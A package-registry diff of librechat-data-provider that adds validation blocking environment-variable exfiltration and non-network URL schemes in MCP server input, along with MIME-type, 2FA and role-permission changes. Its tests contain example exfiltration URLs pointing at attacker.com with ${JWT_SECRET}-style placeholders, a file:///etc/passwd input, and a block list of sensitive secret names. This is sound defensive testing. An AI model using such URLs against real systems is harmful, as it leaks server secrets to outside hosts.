librechat-data-provider 0.8.302 → 0.8.401
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.es.js +1 -1
- package/dist/index.es.js.map +1 -1
- package/dist/index.js +1 -1
- package/dist/index.js.map +1 -1
- package/dist/react-query/index.es.js +1 -1
- package/dist/react-query/index.es.js.map +1 -1
- package/package.json +1 -1
- package/specs/mcp.spec.ts +147 -0
- package/specs/utils.spec.ts +71 -4
- package/src/accessPermissions.ts +4 -4
- package/src/config.ts +9 -1
- package/src/data-service.ts +8 -6
- package/src/file-config.spec.ts +41 -3
- package/src/file-config.ts +14 -6
- package/src/mcp.ts +32 -3
- package/src/roles.spec.ts +132 -0
- package/src/roles.ts +24 -4
- package/src/types.ts +18 -25
- package/src/utils.ts +30 -7
package/package.json
CHANGED
|
@@ -0,0 +1,147 @@
|
|
|
1
|
+
import { SSEOptionsSchema, MCPServerUserInputSchema } from '../src/mcp';
|
|
2
|
+
|
|
3
|
+
describe('MCPServerUserInputSchema', () => {
|
|
4
|
+
describe('env variable exfiltration prevention', () => {
|
|
5
|
+
it('should confirm admin schema resolves env vars (attack vector baseline)', () => {
|
|
6
|
+
process.env.FAKE_SECRET = 'leaked-secret-value';
|
|
7
|
+
const adminResult = SSEOptionsSchema.safeParse({
|
|
8
|
+
type: 'sse',
|
|
9
|
+
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
|
10
|
+
});
|
|
11
|
+
expect(adminResult.success).toBe(true);
|
|
12
|
+
if (adminResult.success) {
|
|
13
|
+
expect(adminResult.data.url).toContain('leaked-secret-value');
|
|
14
|
+
}
|
|
15
|
+
delete process.env.FAKE_SECRET;
|
|
16
|
+
});
|
|
17
|
+
|
|
18
|
+
it('should reject the same URL through user input schema', () => {
|
|
19
|
+
process.env.FAKE_SECRET = 'leaked-secret-value';
|
|
20
|
+
const userResult = MCPServerUserInputSchema.safeParse({
|
|
21
|
+
type: 'sse',
|
|
22
|
+
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
|
23
|
+
});
|
|
24
|
+
expect(userResult.success).toBe(false);
|
|
25
|
+
delete process.env.FAKE_SECRET;
|
|
26
|
+
});
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
describe('env variable rejection', () => {
|
|
30
|
+
it('should reject SSE URLs containing env variable patterns', () => {
|
|
31
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
32
|
+
type: 'sse',
|
|
33
|
+
url: 'http://attacker.com/?secret=${FAKE_SECRET}',
|
|
34
|
+
});
|
|
35
|
+
expect(result.success).toBe(false);
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
it('should reject streamable-http URLs containing env variable patterns', () => {
|
|
39
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
40
|
+
type: 'streamable-http',
|
|
41
|
+
url: 'http://attacker.com/?jwt=${JWT_SECRET}',
|
|
42
|
+
});
|
|
43
|
+
expect(result.success).toBe(false);
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
it('should reject WebSocket URLs containing env variable patterns', () => {
|
|
47
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
48
|
+
type: 'websocket',
|
|
49
|
+
url: 'ws://attacker.com/?secret=${FAKE_SECRET}',
|
|
50
|
+
});
|
|
51
|
+
expect(result.success).toBe(false);
|
|
52
|
+
});
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
describe('protocol allowlisting', () => {
|
|
56
|
+
it('should reject file:// URLs for SSE', () => {
|
|
57
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
58
|
+
type: 'sse',
|
|
59
|
+
url: 'file:///etc/passwd',
|
|
60
|
+
});
|
|
61
|
+
expect(result.success).toBe(false);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
it('should reject ftp:// URLs for streamable-http', () => {
|
|
65
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
66
|
+
type: 'streamable-http',
|
|
67
|
+
url: 'ftp://internal-server/data',
|
|
68
|
+
});
|
|
69
|
+
expect(result.success).toBe(false);
|
|
70
|
+
});
|
|
71
|
+
|
|
72
|
+
it('should reject http:// URLs for WebSocket', () => {
|
|
73
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
74
|
+
type: 'websocket',
|
|
75
|
+
url: 'http://example.com/ws',
|
|
76
|
+
});
|
|
77
|
+
expect(result.success).toBe(false);
|
|
78
|
+
});
|
|
79
|
+
|
|
80
|
+
it('should reject ws:// URLs for SSE', () => {
|
|
81
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
82
|
+
type: 'sse',
|
|
83
|
+
url: 'ws://example.com/sse',
|
|
84
|
+
});
|
|
85
|
+
expect(result.success).toBe(false);
|
|
86
|
+
});
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
describe('valid URL acceptance', () => {
|
|
90
|
+
it('should accept valid https:// SSE URLs', () => {
|
|
91
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
92
|
+
type: 'sse',
|
|
93
|
+
url: 'https://mcp-server.com/sse',
|
|
94
|
+
});
|
|
95
|
+
expect(result.success).toBe(true);
|
|
96
|
+
if (result.success) {
|
|
97
|
+
expect(result.data.url).toBe('https://mcp-server.com/sse');
|
|
98
|
+
}
|
|
99
|
+
});
|
|
100
|
+
|
|
101
|
+
it('should accept valid http:// SSE URLs', () => {
|
|
102
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
103
|
+
type: 'sse',
|
|
104
|
+
url: 'http://mcp-server.com/sse',
|
|
105
|
+
});
|
|
106
|
+
expect(result.success).toBe(true);
|
|
107
|
+
});
|
|
108
|
+
|
|
109
|
+
it('should accept valid wss:// WebSocket URLs', () => {
|
|
110
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
111
|
+
type: 'websocket',
|
|
112
|
+
url: 'wss://mcp-server.com/ws',
|
|
113
|
+
});
|
|
114
|
+
expect(result.success).toBe(true);
|
|
115
|
+
if (result.success) {
|
|
116
|
+
expect(result.data.url).toBe('wss://mcp-server.com/ws');
|
|
117
|
+
}
|
|
118
|
+
});
|
|
119
|
+
|
|
120
|
+
it('should accept valid ws:// WebSocket URLs', () => {
|
|
121
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
122
|
+
type: 'websocket',
|
|
123
|
+
url: 'ws://mcp-server.com/ws',
|
|
124
|
+
});
|
|
125
|
+
expect(result.success).toBe(true);
|
|
126
|
+
});
|
|
127
|
+
|
|
128
|
+
it('should accept valid https:// streamable-http URLs', () => {
|
|
129
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
130
|
+
type: 'streamable-http',
|
|
131
|
+
url: 'https://mcp-server.com/http',
|
|
132
|
+
});
|
|
133
|
+
expect(result.success).toBe(true);
|
|
134
|
+
if (result.success) {
|
|
135
|
+
expect(result.data.url).toBe('https://mcp-server.com/http');
|
|
136
|
+
}
|
|
137
|
+
});
|
|
138
|
+
|
|
139
|
+
it('should accept valid http:// streamable-http URLs with "http" alias', () => {
|
|
140
|
+
const result = MCPServerUserInputSchema.safeParse({
|
|
141
|
+
type: 'http',
|
|
142
|
+
url: 'http://mcp-server.com/mcp',
|
|
143
|
+
});
|
|
144
|
+
expect(result.success).toBe(true);
|
|
145
|
+
});
|
|
146
|
+
});
|
|
147
|
+
});
|
package/specs/utils.spec.ts
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
import { extractEnvVariable } from '../src/utils';
|
|
1
|
+
import { extractEnvVariable, isSensitiveEnvVar } from '../src/utils';
|
|
2
2
|
|
|
3
3
|
describe('Environment Variable Extraction', () => {
|
|
4
4
|
const originalEnv = process.env;
|
|
@@ -7,7 +7,7 @@ describe('Environment Variable Extraction', () => {
|
|
|
7
7
|
process.env = {
|
|
8
8
|
...originalEnv,
|
|
9
9
|
TEST_API_KEY: 'test-api-key-value',
|
|
10
|
-
|
|
10
|
+
ANOTHER_VALUE: 'another-value',
|
|
11
11
|
};
|
|
12
12
|
});
|
|
13
13
|
|
|
@@ -55,7 +55,7 @@ describe('Environment Variable Extraction', () => {
|
|
|
55
55
|
describe('extractEnvVariable function', () => {
|
|
56
56
|
it('should extract environment variables from exact matches', () => {
|
|
57
57
|
expect(extractEnvVariable('${TEST_API_KEY}')).toBe('test-api-key-value');
|
|
58
|
-
expect(extractEnvVariable('${
|
|
58
|
+
expect(extractEnvVariable('${ANOTHER_VALUE}')).toBe('another-value');
|
|
59
59
|
});
|
|
60
60
|
|
|
61
61
|
it('should extract environment variables from strings with prefixes', () => {
|
|
@@ -82,7 +82,7 @@ describe('Environment Variable Extraction', () => {
|
|
|
82
82
|
describe('extractEnvVariable', () => {
|
|
83
83
|
it('should extract environment variable values', () => {
|
|
84
84
|
expect(extractEnvVariable('${TEST_API_KEY}')).toBe('test-api-key-value');
|
|
85
|
-
expect(extractEnvVariable('${
|
|
85
|
+
expect(extractEnvVariable('${ANOTHER_VALUE}')).toBe('another-value');
|
|
86
86
|
});
|
|
87
87
|
|
|
88
88
|
it('should return the original string if environment variable is not found', () => {
|
|
@@ -126,4 +126,71 @@ describe('Environment Variable Extraction', () => {
|
|
|
126
126
|
);
|
|
127
127
|
});
|
|
128
128
|
});
|
|
129
|
+
|
|
130
|
+
describe('isSensitiveEnvVar', () => {
|
|
131
|
+
it('should flag infrastructure secrets', () => {
|
|
132
|
+
expect(isSensitiveEnvVar('JWT_SECRET')).toBe(true);
|
|
133
|
+
expect(isSensitiveEnvVar('JWT_REFRESH_SECRET')).toBe(true);
|
|
134
|
+
expect(isSensitiveEnvVar('CREDS_KEY')).toBe(true);
|
|
135
|
+
expect(isSensitiveEnvVar('CREDS_IV')).toBe(true);
|
|
136
|
+
expect(isSensitiveEnvVar('MEILI_MASTER_KEY')).toBe(true);
|
|
137
|
+
expect(isSensitiveEnvVar('MONGO_URI')).toBe(true);
|
|
138
|
+
expect(isSensitiveEnvVar('REDIS_URI')).toBe(true);
|
|
139
|
+
expect(isSensitiveEnvVar('REDIS_PASSWORD')).toBe(true);
|
|
140
|
+
});
|
|
141
|
+
|
|
142
|
+
it('should allow non-infrastructure vars through (including operator-configured secrets)', () => {
|
|
143
|
+
expect(isSensitiveEnvVar('OPENAI_API_KEY')).toBe(false);
|
|
144
|
+
expect(isSensitiveEnvVar('ANTHROPIC_API_KEY')).toBe(false);
|
|
145
|
+
expect(isSensitiveEnvVar('GOOGLE_KEY')).toBe(false);
|
|
146
|
+
expect(isSensitiveEnvVar('PROXY')).toBe(false);
|
|
147
|
+
expect(isSensitiveEnvVar('DEBUG_LOGGING')).toBe(false);
|
|
148
|
+
expect(isSensitiveEnvVar('DOMAIN_CLIENT')).toBe(false);
|
|
149
|
+
expect(isSensitiveEnvVar('APP_TITLE')).toBe(false);
|
|
150
|
+
expect(isSensitiveEnvVar('OPENID_CLIENT_SECRET')).toBe(false);
|
|
151
|
+
expect(isSensitiveEnvVar('DISCORD_CLIENT_SECRET')).toBe(false);
|
|
152
|
+
expect(isSensitiveEnvVar('MY_CUSTOM_SECRET')).toBe(false);
|
|
153
|
+
});
|
|
154
|
+
});
|
|
155
|
+
|
|
156
|
+
describe('extractEnvVariable sensitive var blocklist', () => {
|
|
157
|
+
beforeEach(() => {
|
|
158
|
+
process.env.JWT_SECRET = 'super-secret-jwt';
|
|
159
|
+
process.env.JWT_REFRESH_SECRET = 'super-secret-refresh';
|
|
160
|
+
process.env.CREDS_KEY = 'encryption-key';
|
|
161
|
+
process.env.CREDS_IV = 'encryption-iv';
|
|
162
|
+
process.env.MEILI_MASTER_KEY = 'meili-key';
|
|
163
|
+
process.env.MONGO_URI = 'mongodb://user:pass@host/db';
|
|
164
|
+
process.env.REDIS_URI = 'redis://:pass@host:6379';
|
|
165
|
+
process.env.REDIS_PASSWORD = 'redis-pass';
|
|
166
|
+
process.env.OPENAI_API_KEY = 'sk-legit-key';
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
it('should refuse to resolve sensitive vars (single-match path)', () => {
|
|
170
|
+
expect(extractEnvVariable('${JWT_SECRET}')).toBe('${JWT_SECRET}');
|
|
171
|
+
expect(extractEnvVariable('${JWT_REFRESH_SECRET}')).toBe('${JWT_REFRESH_SECRET}');
|
|
172
|
+
expect(extractEnvVariable('${CREDS_KEY}')).toBe('${CREDS_KEY}');
|
|
173
|
+
expect(extractEnvVariable('${CREDS_IV}')).toBe('${CREDS_IV}');
|
|
174
|
+
expect(extractEnvVariable('${MEILI_MASTER_KEY}')).toBe('${MEILI_MASTER_KEY}');
|
|
175
|
+
expect(extractEnvVariable('${MONGO_URI}')).toBe('${MONGO_URI}');
|
|
176
|
+
expect(extractEnvVariable('${REDIS_URI}')).toBe('${REDIS_URI}');
|
|
177
|
+
expect(extractEnvVariable('${REDIS_PASSWORD}')).toBe('${REDIS_PASSWORD}');
|
|
178
|
+
});
|
|
179
|
+
|
|
180
|
+
it('should refuse to resolve sensitive vars in composite strings (multi-match path)', () => {
|
|
181
|
+
expect(extractEnvVariable('key=${JWT_SECRET}&more')).toBe('key=${JWT_SECRET}&more');
|
|
182
|
+
expect(extractEnvVariable('db=${MONGO_URI}/extra')).toBe('db=${MONGO_URI}/extra');
|
|
183
|
+
});
|
|
184
|
+
|
|
185
|
+
it('should still resolve non-sensitive vars normally', () => {
|
|
186
|
+
expect(extractEnvVariable('${OPENAI_API_KEY}')).toBe('sk-legit-key');
|
|
187
|
+
expect(extractEnvVariable('Bearer ${OPENAI_API_KEY}')).toBe('Bearer sk-legit-key');
|
|
188
|
+
});
|
|
189
|
+
|
|
190
|
+
it('should resolve non-sensitive vars while blocking sensitive ones in the same string', () => {
|
|
191
|
+
expect(extractEnvVariable('key=${OPENAI_API_KEY}&secret=${JWT_SECRET}')).toBe(
|
|
192
|
+
'key=sk-legit-key&secret=${JWT_SECRET}',
|
|
193
|
+
);
|
|
194
|
+
});
|
|
195
|
+
});
|
|
129
196
|
});
|
package/src/accessPermissions.ts
CHANGED
|
@@ -200,9 +200,9 @@ export type TUpdateResourcePermissionsResponse = z.infer<
|
|
|
200
200
|
* Principal search request parameters
|
|
201
201
|
*/
|
|
202
202
|
export type TPrincipalSearchParams = {
|
|
203
|
-
q: string;
|
|
204
|
-
limit?: number;
|
|
205
|
-
|
|
203
|
+
q: string;
|
|
204
|
+
limit?: number;
|
|
205
|
+
types?: Array<PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE>;
|
|
206
206
|
};
|
|
207
207
|
|
|
208
208
|
/**
|
|
@@ -228,7 +228,7 @@ export type TPrincipalSearchResult = {
|
|
|
228
228
|
export type TPrincipalSearchResponse = {
|
|
229
229
|
query: string;
|
|
230
230
|
limit: number;
|
|
231
|
-
|
|
231
|
+
types?: Array<PrincipalType.USER | PrincipalType.GROUP | PrincipalType.ROLE> | null;
|
|
232
232
|
results: TPrincipalSearchResult[];
|
|
233
233
|
count: number;
|
|
234
234
|
sources: {
|
package/src/config.ts
CHANGED
|
@@ -1560,6 +1560,10 @@ export enum ErrorTypes {
|
|
|
1560
1560
|
* No Base URL Provided.
|
|
1561
1561
|
*/
|
|
1562
1562
|
NO_BASE_URL = 'no_base_url',
|
|
1563
|
+
/**
|
|
1564
|
+
* Base URL targets a restricted or invalid address (SSRF protection).
|
|
1565
|
+
*/
|
|
1566
|
+
INVALID_BASE_URL = 'invalid_base_url',
|
|
1563
1567
|
/**
|
|
1564
1568
|
* Moderation error
|
|
1565
1569
|
*/
|
|
@@ -1612,6 +1616,10 @@ export enum ErrorTypes {
|
|
|
1612
1616
|
* Model refused to respond (content policy violation)
|
|
1613
1617
|
*/
|
|
1614
1618
|
REFUSAL = 'refusal',
|
|
1619
|
+
/**
|
|
1620
|
+
* SSE stream 404 — job completed, expired, or was deleted before the subscriber connected
|
|
1621
|
+
*/
|
|
1622
|
+
STREAM_EXPIRED = 'stream_expired',
|
|
1615
1623
|
}
|
|
1616
1624
|
|
|
1617
1625
|
/**
|
|
@@ -1736,7 +1744,7 @@ export enum TTSProviders {
|
|
|
1736
1744
|
/** Enum for app-wide constants */
|
|
1737
1745
|
export enum Constants {
|
|
1738
1746
|
/** Key for the app's version. */
|
|
1739
|
-
VERSION = 'v0.8.
|
|
1747
|
+
VERSION = 'v0.8.4',
|
|
1740
1748
|
/** Key for the Custom Config's version (librechat.yaml). */
|
|
1741
1749
|
CONFIG_VERSION = '1.3.6',
|
|
1742
1750
|
/** Standard value for the first message's `parentMessageId` value, to indicate no parent exists. */
|
package/src/data-service.ts
CHANGED
|
@@ -21,8 +21,8 @@ export function revokeAllUserKeys(): Promise<unknown> {
|
|
|
21
21
|
return request.delete(endpoints.revokeAllUserKeys());
|
|
22
22
|
}
|
|
23
23
|
|
|
24
|
-
export function deleteUser(): Promise<
|
|
25
|
-
return request.
|
|
24
|
+
export function deleteUser(payload?: t.TDeleteUserRequest): Promise<unknown> {
|
|
25
|
+
return request.deleteWithOptions(endpoints.deleteUser(), { data: payload });
|
|
26
26
|
}
|
|
27
27
|
|
|
28
28
|
export type FavoriteItem = {
|
|
@@ -970,8 +970,8 @@ export function updateFeedback(
|
|
|
970
970
|
}
|
|
971
971
|
|
|
972
972
|
// 2FA
|
|
973
|
-
export function enableTwoFactor(): Promise<t.TEnable2FAResponse> {
|
|
974
|
-
return request.
|
|
973
|
+
export function enableTwoFactor(payload?: t.TEnable2FARequest): Promise<t.TEnable2FAResponse> {
|
|
974
|
+
return request.post(endpoints.enableTwoFactor(), payload);
|
|
975
975
|
}
|
|
976
976
|
|
|
977
977
|
export function verifyTwoFactor(payload: t.TVerify2FARequest): Promise<t.TVerify2FAResponse> {
|
|
@@ -986,8 +986,10 @@ export function disableTwoFactor(payload?: t.TDisable2FARequest): Promise<t.TDis
|
|
|
986
986
|
return request.post(endpoints.disableTwoFactor(), payload);
|
|
987
987
|
}
|
|
988
988
|
|
|
989
|
-
export function regenerateBackupCodes(
|
|
990
|
-
|
|
989
|
+
export function regenerateBackupCodes(
|
|
990
|
+
payload?: t.TRegenerateBackupCodesRequest,
|
|
991
|
+
): Promise<t.TRegenerateBackupCodesResponse> {
|
|
992
|
+
return request.post(endpoints.regenerateBackupCodes(), payload);
|
|
991
993
|
}
|
|
992
994
|
|
|
993
995
|
export function verifyTwoFactorTemp(
|
package/src/file-config.spec.ts
CHANGED
|
@@ -1,15 +1,53 @@
|
|
|
1
1
|
import type { FileConfig } from './types/files';
|
|
2
2
|
import {
|
|
3
3
|
fileConfig as baseFileConfig,
|
|
4
|
+
documentParserMimeTypes,
|
|
4
5
|
getEndpointFileConfig,
|
|
5
|
-
mergeFileConfig,
|
|
6
6
|
applicationMimeTypes,
|
|
7
7
|
defaultOCRMimeTypes,
|
|
8
|
-
documentParserMimeTypes,
|
|
9
8
|
supportedMimeTypes,
|
|
9
|
+
mergeFileConfig,
|
|
10
|
+
inferMimeType,
|
|
11
|
+
textMimeTypes,
|
|
10
12
|
} from './file-config';
|
|
11
13
|
import { EModelEndpoint } from './schemas';
|
|
12
14
|
|
|
15
|
+
describe('inferMimeType', () => {
|
|
16
|
+
it('should normalize text/x-python-script to text/x-python', () => {
|
|
17
|
+
expect(inferMimeType('test.py', 'text/x-python-script')).toBe('text/x-python');
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
it('should return a type that matches textMimeTypes after normalization', () => {
|
|
21
|
+
const normalized = inferMimeType('test.py', 'text/x-python-script');
|
|
22
|
+
expect(textMimeTypes.test(normalized)).toBe(true);
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
it('should pass through standard browser types unchanged', () => {
|
|
26
|
+
expect(inferMimeType('test.py', 'text/x-python')).toBe('text/x-python');
|
|
27
|
+
expect(inferMimeType('doc.pdf', 'application/pdf')).toBe('application/pdf');
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
it('should infer from extension when browser type is empty', () => {
|
|
31
|
+
expect(inferMimeType('test.py', '')).toBe('text/x-python');
|
|
32
|
+
expect(inferMimeType('code.js', '')).toBe('text/javascript');
|
|
33
|
+
expect(inferMimeType('photo.heic', '')).toBe('image/heic');
|
|
34
|
+
expect(inferMimeType('Main.java', '')).toBe('text/x-java');
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
it('should return empty string for unknown extension with no browser type', () => {
|
|
38
|
+
expect(inferMimeType('file.xyz', '')).toBe('');
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
it('should produce a type accepted by checkType after normalizing text/x-python-script', () => {
|
|
42
|
+
const normalized = inferMimeType('test.py', 'text/x-python-script');
|
|
43
|
+
expect(baseFileConfig.checkType(normalized)).toBe(true);
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
it('should reject raw text/x-python-script without normalization', () => {
|
|
47
|
+
expect(baseFileConfig.checkType('text/x-python-script')).toBe(false);
|
|
48
|
+
});
|
|
49
|
+
});
|
|
50
|
+
|
|
13
51
|
describe('applicationMimeTypes', () => {
|
|
14
52
|
const odfTypes = [
|
|
15
53
|
'application/vnd.oasis.opendocument.text',
|
|
@@ -104,12 +142,12 @@ describe('documentParserMimeTypes', () => {
|
|
|
104
142
|
'application/x-msexcel',
|
|
105
143
|
'application/x-ms-excel',
|
|
106
144
|
'application/vnd.oasis.opendocument.spreadsheet',
|
|
145
|
+
'application/vnd.oasis.opendocument.text',
|
|
107
146
|
])('matches natively parseable type: %s', (mimeType) => {
|
|
108
147
|
expect(check(mimeType)).toBe(true);
|
|
109
148
|
});
|
|
110
149
|
|
|
111
150
|
it.each([
|
|
112
|
-
'application/vnd.oasis.opendocument.text',
|
|
113
151
|
'application/vnd.oasis.opendocument.presentation',
|
|
114
152
|
'application/vnd.oasis.opendocument.graphics',
|
|
115
153
|
'text/plain',
|
package/src/file-config.ts
CHANGED
|
@@ -202,12 +202,13 @@ export const defaultOCRMimeTypes = [
|
|
|
202
202
|
/^application\/vnd\.oasis\.opendocument\.(text|spreadsheet|presentation|graphics)$/,
|
|
203
203
|
];
|
|
204
204
|
|
|
205
|
-
/** MIME types handled by the built-in document parser (pdf, docx, excel variants, ods) */
|
|
205
|
+
/** MIME types handled by the built-in document parser (pdf, docx, excel variants, ods/odt) */
|
|
206
206
|
export const documentParserMimeTypes = [
|
|
207
207
|
excelMimeTypes,
|
|
208
208
|
/^application\/pdf$/,
|
|
209
209
|
/^application\/vnd\.openxmlformats-officedocument\.wordprocessingml\.document$/,
|
|
210
210
|
/^application\/vnd\.oasis\.opendocument\.spreadsheet$/,
|
|
211
|
+
/^application\/vnd\.oasis\.opendocument\.text$/,
|
|
211
212
|
];
|
|
212
213
|
|
|
213
214
|
export const defaultTextMimeTypes = [/^[\w.-]+\/[\w.-]+$/];
|
|
@@ -242,6 +243,7 @@ export const codeTypeMapping: { [key: string]: string } = {
|
|
|
242
243
|
py: 'text/x-python', // .py - Python source
|
|
243
244
|
rb: 'text/x-ruby', // .rb - Ruby source
|
|
244
245
|
tex: 'text/x-tex', // .tex - LaTeX source
|
|
246
|
+
java: 'text/x-java', // .java - Java source
|
|
245
247
|
js: 'text/javascript', // .js - JavaScript source
|
|
246
248
|
sh: 'application/x-sh', // .sh - Shell script
|
|
247
249
|
ts: 'application/typescript', // .ts - TypeScript source
|
|
@@ -357,15 +359,21 @@ export const imageTypeMapping: { [key: string]: string } = {
|
|
|
357
359
|
heif: 'image/heif',
|
|
358
360
|
};
|
|
359
361
|
|
|
362
|
+
/** Normalizes non-standard MIME types that browsers may report to their canonical forms */
|
|
363
|
+
export const mimeTypeAliases: Readonly<Record<string, string>> = {
|
|
364
|
+
'text/x-python-script': 'text/x-python',
|
|
365
|
+
};
|
|
366
|
+
|
|
360
367
|
/**
|
|
361
|
-
* Infers the MIME type from a file's extension when the browser doesn't recognize it
|
|
362
|
-
*
|
|
363
|
-
* @param
|
|
364
|
-
* @
|
|
368
|
+
* Infers the MIME type from a file's extension when the browser doesn't recognize it,
|
|
369
|
+
* and normalizes known non-standard MIME type aliases to their canonical forms.
|
|
370
|
+
* @param fileName - The file name including its extension
|
|
371
|
+
* @param currentType - The MIME type reported by the browser (may be empty string)
|
|
372
|
+
* @returns The normalized or inferred MIME type; empty string if unresolvable
|
|
365
373
|
*/
|
|
366
374
|
export function inferMimeType(fileName: string, currentType: string): string {
|
|
367
375
|
if (currentType) {
|
|
368
|
-
return currentType;
|
|
376
|
+
return mimeTypeAliases[currentType] ?? currentType;
|
|
369
377
|
}
|
|
370
378
|
|
|
371
379
|
const extension = fileName.split('.').pop()?.toLowerCase() ?? '';
|
package/src/mcp.ts
CHANGED
|
@@ -223,6 +223,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
|
|
|
223
223
|
oauth_headers: true,
|
|
224
224
|
});
|
|
225
225
|
|
|
226
|
+
const envVarPattern = /\$\{[^}]+\}/;
|
|
227
|
+
const isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);
|
|
228
|
+
const isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);
|
|
229
|
+
|
|
230
|
+
/**
|
|
231
|
+
* Builds a URL schema for user input that rejects ${VAR} env variable patterns
|
|
232
|
+
* and validates protocol constraints without resolving environment variables.
|
|
233
|
+
*/
|
|
234
|
+
const userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>
|
|
235
|
+
z
|
|
236
|
+
.string()
|
|
237
|
+
.refine((val) => !envVarPattern.test(val), {
|
|
238
|
+
message: 'Environment variable references are not allowed in URLs',
|
|
239
|
+
})
|
|
240
|
+
.pipe(z.string().url())
|
|
241
|
+
.refine(protocolCheck, { message });
|
|
242
|
+
|
|
226
243
|
/**
|
|
227
244
|
* MCP Server configuration that comes from UI/API input only.
|
|
228
245
|
* Omits server-managed fields like startup, timeout, customUserVars, etc.
|
|
@@ -232,11 +249,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
|
|
|
232
249
|
* Stdio allows arbitrary command execution and should only be configured
|
|
233
250
|
* by administrators via the YAML config file (librechat.yaml).
|
|
234
251
|
* Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.
|
|
252
|
+
*
|
|
253
|
+
* SECURITY: URL fields use userUrlSchema instead of the admin schemas'
|
|
254
|
+
* extractEnvVariable transform to prevent env variable exfiltration
|
|
255
|
+
* through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).
|
|
256
|
+
* Protocol checks use positive allowlists (http(s) / ws(s)) to block
|
|
257
|
+
* file://, ftp://, javascript:, and other non-network schemes.
|
|
235
258
|
*/
|
|
236
259
|
export const MCPServerUserInputSchema = z.union([
|
|
237
|
-
omitServerManagedFields(WebSocketOptionsSchema)
|
|
238
|
-
|
|
239
|
-
|
|
260
|
+
omitServerManagedFields(WebSocketOptionsSchema).extend({
|
|
261
|
+
url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),
|
|
262
|
+
}),
|
|
263
|
+
omitServerManagedFields(SSEOptionsSchema).extend({
|
|
264
|
+
url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),
|
|
265
|
+
}),
|
|
266
|
+
omitServerManagedFields(StreamableHTTPOptionsSchema).extend({
|
|
267
|
+
url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),
|
|
268
|
+
}),
|
|
240
269
|
]);
|
|
241
270
|
|
|
242
271
|
export type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;
|
|
@@ -0,0 +1,132 @@
|
|
|
1
|
+
import { Permissions, PermissionTypes, permissionsSchema } from './permissions';
|
|
2
|
+
import { SystemRoles, roleDefaults } from './roles';
|
|
3
|
+
|
|
4
|
+
const RESOURCE_MANAGEMENT_FIELDS: Permissions[] = [
|
|
5
|
+
Permissions.CREATE,
|
|
6
|
+
Permissions.SHARE,
|
|
7
|
+
Permissions.SHARE_PUBLIC,
|
|
8
|
+
];
|
|
9
|
+
|
|
10
|
+
/**
|
|
11
|
+
* Permission types where CREATE/SHARE/SHARE_PUBLIC must default to false for USER.
|
|
12
|
+
* MEMORIES is excluded: its CREATE/READ/UPDATE apply to the user's own private data.
|
|
13
|
+
* AGENTS/PROMPTS are excluded: CREATE=true is intentional (users own their agents/prompts).
|
|
14
|
+
* Add new types here if they gate shared/multi-user resources.
|
|
15
|
+
*/
|
|
16
|
+
const RESOURCE_PERMISSION_TYPES: PermissionTypes[] = [
|
|
17
|
+
PermissionTypes.MCP_SERVERS,
|
|
18
|
+
PermissionTypes.REMOTE_AGENTS,
|
|
19
|
+
];
|
|
20
|
+
|
|
21
|
+
describe('roleDefaults', () => {
|
|
22
|
+
describe('USER role', () => {
|
|
23
|
+
const userPerms = roleDefaults[SystemRoles.USER].permissions;
|
|
24
|
+
|
|
25
|
+
it('should have explicit values for every field in every multi-field permission type', () => {
|
|
26
|
+
const schemaShape = permissionsSchema.shape;
|
|
27
|
+
|
|
28
|
+
for (const [permType, subSchema] of Object.entries(schemaShape)) {
|
|
29
|
+
const fieldNames = Object.keys(subSchema.shape);
|
|
30
|
+
if (fieldNames.length <= 1) {
|
|
31
|
+
continue;
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
const userValues =
|
|
35
|
+
userPerms[permType as PermissionTypes] as Record<string, boolean>;
|
|
36
|
+
|
|
37
|
+
for (const field of fieldNames) {
|
|
38
|
+
expect({
|
|
39
|
+
permType,
|
|
40
|
+
field,
|
|
41
|
+
value: userValues[field],
|
|
42
|
+
}).toEqual(
|
|
43
|
+
expect.objectContaining({
|
|
44
|
+
permType,
|
|
45
|
+
field,
|
|
46
|
+
value: expect.any(Boolean),
|
|
47
|
+
}),
|
|
48
|
+
);
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
});
|
|
52
